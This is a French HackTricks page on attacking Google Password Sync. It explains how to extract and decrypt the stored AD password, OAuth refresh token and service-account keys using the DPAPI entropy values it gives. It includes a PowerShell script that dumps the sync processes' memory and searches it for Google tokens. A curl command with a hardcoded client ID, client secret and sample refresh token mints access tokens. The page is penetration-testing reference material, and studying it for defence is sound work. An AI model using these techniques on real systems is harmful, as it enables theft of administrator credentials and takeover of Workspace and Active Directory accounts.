GPS - Google Password Sync

Support HackTricks

Informations de base

Ceci est le binaire et le service que Google propose pour maintenir synchronisés les mots de passe des utilisateurs entre l'AD et Workspace. Chaque fois qu'un utilisateur change son mot de passe dans l'AD, il est défini sur Google.

Il est installé dans C:\Program Files\Google\Password Sync où vous pouvez trouver le binaire PasswordSync.exe pour le configurer et password_sync_service.exe (le service qui continuera à fonctionner).

GPS - Configuration

Pour configurer ce binaire (et service), il est nécessaire de lui donner accès à un principal Super Admin dans Workspace :

  • Se connecter via OAuth avec Google et ensuite il stockera un jeton dans le registre (chiffré)

  • Disponible uniquement sur les contrôleurs de domaine avec interface graphique

  • Fournir des identifiants de compte de service de GCP (fichier json) avec des permissions pour gérer les utilisateurs de Workspace

  • Très mauvaise idée car ces identifiants n'expirent jamais et pourraient être mal utilisés

  • Très mauvaise idée de donner un accès SA sur Workspace car le SA pourrait être compromis dans GCP et il serait possible de pivoter vers Workspace

  • Google l'exige pour les contrôleurs de domaine sans interface graphique

  • Ces identifiants sont également stockés dans le registre

Concernant l'AD, il est possible d'indiquer d'utiliser le contexte d'applications actuel, anonyme ou des identifiants spécifiques. Si l'option d'identifiants est sélectionnée, le nom d'utilisateur est stocké dans un fichier sur le disque et le mot de passe est chiffré et stocké dans le registre.

GPS - Dumping du mot de passe et du jeton depuis le disque

Notez que Winpeas est capable de détecter GPS, d'obtenir des informations sur la configuration et même de déchiffrer le mot de passe et le jeton.

Dans le fichier C:\ProgramData\Google\Google Apps Password Sync\config.xml, il est possible de trouver une partie de la configuration comme le baseDN de l'AD configuré et le nom d'utilisateur dont les identifiants sont utilisés.

Dans le registre HKLM\Software\Google\Google Apps Password Sync, il est possible de trouver le jeton de rafraîchissement chiffré et le mot de passe chiffré pour l'utilisateur AD (le cas échéant). De plus, si au lieu d'un jeton, des identifiants SA sont utilisés, il est également possible de les trouver chiffrés à cette adresse de registre. Les valeurs à l'intérieur de ce registre ne sont accessibles que par les Administrateurs.

Le mot de passe chiffré (le cas échéant) se trouve dans la clé ADPassword et est chiffré à l'aide de l'API CryptProtectData. Pour le déchiffrer, vous devez être le même utilisateur que celui qui a configuré la synchronisation des mots de passe et utiliser cette entropie lors de l'utilisation de CryptUnprotectData : byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };

Le jeton chiffré (le cas échéant) se trouve dans la clé AuthToken et est chiffré à l'aide de l'API CryptProtectData. Pour le déchiffrer, vous devez être le même utilisateur que celui qui a configuré la synchronisation des mots de passe et utiliser cette entropie lors de l'utilisation de CryptUnprotectData : byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b }; De plus, il est également encodé en base32hex avec le dictionnaire 0123456789abcdefghijklmnopqrstv.

Les valeurs d'entropie ont été trouvées en utilisant l'outil. Il a été configuré pour surveiller les appels à CryptUnprotectData et CryptProtectData et ensuite l'outil a été utilisé pour lancer et surveiller PasswordSync.exe qui déchiffrera le mot de passe et le jeton d'authentification configurés au début et l'outil affichera les valeurs pour l'entropie utilisée dans les deux cas :

Notez qu'il est également possible de voir les valeurs déchiffrées dans l'entrée ou la sortie des appels à ces API également (au cas où à un moment donné Winpeas cesserait de fonctionner).

Dans le cas où la synchronisation des mots de passe a été configurée avec des identifiants SA, elle sera également stockée dans des clés à l'intérieur du registre HKLM\Software\Google\Google Apps Password Sync.

GPS - Dumping des jetons de la mémoire

Tout comme avec GCPW, il est possible de dumper la mémoire du processus de PasswordSync.exe et des processus password_sync_service.exe et vous pourrez trouver des jetons de rafraîchissement et d'accès (s'ils ont déjà été générés). Je suppose que vous pourriez également trouver les identifiants configurés de l'AD.

Dump PasswordSync.exe et les processus password_sync_service.exe et rechercher des jetons

```powershell # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" $dumpFolder = "C:\Users\Public\dumps"

Regular expressions for tokens

$tokenRegexes = @( "ya29.[a-zA-Z0-9_.-]{50,}", "1//[a-zA-Z0-9_.-]{50,}" )

Show EULA if it wasn't accepted yet for strings

$stringsPath

Create a directory for the dumps if it doesn't exist

if (!(Test-Path $dumpFolder)) { New-Item -Path $dumpFolder -ItemType Directory }

Get all Chrome process IDs

$processNames = @("PasswordSync", "password_sync_service") $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id

Dump each Chrome process

foreach ($processId in $chromeProcesses) { Write-Output "Dumping process with PID: $processId" & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp" }

Extract strings and search for tokens in each dump

Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object { $dumpFile = $.FullName $baseName = $.BaseName $asciiStringsFile = "$dumpFolder${baseName}_ascii_strings.txt" $unicodeStringsFile = "$dumpFolder${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile" & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) { foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) { foreach ($match in $matchInfo.Matches) { $matchValue = $match.Value if (-not $uniqueMatches.ContainsKey($matchValue)) { $uniqueMatches[$matchValue] = @{ LineNumber = $matchInfo.LineNumber LineText = $matchInfo.Line.Trim() FilePath = $matchInfo.Path } } } }

foreach ($matchValue in $uniqueMatches.Keys) { $info = $uniqueMatches[$matchValue] Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" } }

Write-Output "" } }

</details>

### GPS - Génération de jetons d'accès à partir de jetons d'actualisation

En utilisant le jeton d'actualisation, il est possible de générer des jetons d'accès en utilisant celui-ci ainsi que l'ID client et le secret client spécifiés dans la commande suivante :
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token

GPS - Scopes

Notez qu'il n'est pas possible de demander un scope pour le token d'accès même en ayant un refresh token, car vous ne pouvez demander que les scopes pris en charge par l'application où vous générez le token d'accès.

De plus, le refresh token n'est pas valide dans toutes les applications.

Par défaut, GPS n'aura pas accès en tant qu'utilisateur à tous les scopes OAuth possibles, donc en utilisant le script suivant, nous pouvons trouver les scopes qui peuvent être utilisés avec le refresh_token pour générer un access_token :

Last updated